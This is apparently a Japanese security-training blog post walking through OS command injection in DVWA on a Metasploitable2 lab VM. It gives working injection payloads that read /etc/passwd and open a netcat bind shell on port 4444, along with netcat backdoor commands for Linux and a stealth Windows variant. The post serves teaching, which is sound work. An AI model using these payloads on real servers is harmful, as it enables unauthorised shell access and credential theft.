Command Execution(OS コマンド・インジェクション)

Execution : 実行
Command Execution : サーバーのOSコマンドが不正に実行されてしまう攻撃。

Metasploitable2 にアクセス

(前回ブラウザの Proxy 設定を変更していた場合は、プロキシなしに戻してください)

DVWA にアクセス

  • DVWA にログイン(User : admin, Pass : password)
  • security Level = low を確認
  • low になっていない場合、DVWA Security をクリックして low に変更する

f:id:hirose-test:20190915225337j:plain

Command Execution をクリック

Ping を打ってみる。IP アドレスを入力し "submit"

f:id:hirose-test:20190915225617j:plain

問題なく実行される。

OS コマンド・インジェクション

安全なウェブサイトの作り方:IPA 独立行政法人 情報処理推進機構
P.10「1.2 OS コマンド・インジェクション」参照

試しに cat /etc/passwd と入力してみる。が、何も起きない。
f:id:hirose-test:20190915230426j:plain

しかし、shell コマンドは "セミコロン ; " で区切ると、1行に複数のコマンドを入力できる。
127.0.0.1; cat /etc/passwd と入力し "submit" すると、
Ping コマンドの後に、cat で passwd の内容が表示されてしまう。

f:id:hirose-test:20190915230722j:plain

OSコマンドインジェクションが実行できることが分かる。

netcat コマンドの使用

Netcat
NetcatはHobbit氏によって開発された、汎用TCP/UDP接続コマンドラインツールである。接続先IPアドレス(もしくはホスト名)とポート番号を指定することにより、その接続先の該当するポートで待ち受けているサーバソフトウェアと通信することができる。またリッスンモードでは、指定したポート番号で通信を待ち受け、接続してきたクライアントソフトウェアと会話することも可能だ。
ローカルコンピュータ上でのNetcatに対する入力およびNetcatからの出力は、通常は標準入出力(つまりキーボードと端末表示)に割り当てられているのだが、「-e」オプションを指定することで入出力先を他のプログラムにリダイレクトすることができる。

Netcat - Wikipedia
netcatは、UNIX系OSで動作するコマンドラインアプリケーションである。TCPUDPを扱う万能ツールとして知られ、しばしばネットワークのスイスアーミーナイフ、TCP/IPのアーミーナイフ、ハッカーのアーミーナイフなどのように評される。その万能性ゆえ、nmapの作者として知られるセキュリティ専門家のGordon Lyon が管理するInsecure.orgにおいて、ネットワークセキュリティツール部門の常に上位5位以内にランキングされているツールである。

「簡易telnetサーバー」
nc -l -p 10025 -e /bin/sh
他の端末からポート10025にアクセスすることで、入出力が/bin/shにリダイレクトされるようになる。すなわち、バックドアとして機能するようになる。もちろん認証機能は存在せず、実行権限はnetcatの実行権限と同一となる。Windows版では以下のように指定すれば同様にバックドアとして機能するようになる。
start nc -d -L -p 10025 -e cmd.exe
オプション -L は、セッション切断後も継続してlistenするためのオプションである。また、オプション -d はステルスモードとなり、コマンドプロンプト・ウィンドウなしで動作するようになる。このような使い方が可能なツールゆえ、netcatのWindows版は主要なウィルススキャナの半数以上によってウィルス(リモートAdminツール)として判定されるものとなっている。
netcat - マニュアルページセク ション 1: ユーザーコマンド
–l : リモートホストへの接続を開始せずに、着信する接続を待機します。
–p port : –l オプションを指定せずに使用する場合は、nc が使用する発信元ポートを特権の制限と使用条件に従って指定します。–l オプションと同時に使用する場合は、待機ポートを設定します。このオプションと –l オプションの組み合わせは、グローバルなポート引数が指定されていない場合にのみ使用できます。
–e program : 接続の受け入れまたは実行後に外部プログラムを実行します。実行前に、stdin,stdout,stderr がネットワーク記述子にリダイレクトされます。このオプションでは、1 つのポートのみを使用できます。

では、127.0.0.1; cd /tmp; nc -l -p 4444 -e /bin/bash として "submit" をクリック。これで、Metasploitable2 がポート 4444 で待ち受け状態に入る。

f:id:hirose-test:20190915233217j:plain

次に、端末を開き、netcat で待ち受けポートに接続する。

root@kali:~# nc 192.168.56.105 4444
hostname (←コマンド入力)
metasploitable
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux (←Metasploitable2 に接続できていることが分かる)
head -5 /etc/passwd (←パスワードファイルの表示)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync

このように、netcat コマンドを使うと、少し自由にOSコマンドを使うことができる。

/* -----codeの行番号----- */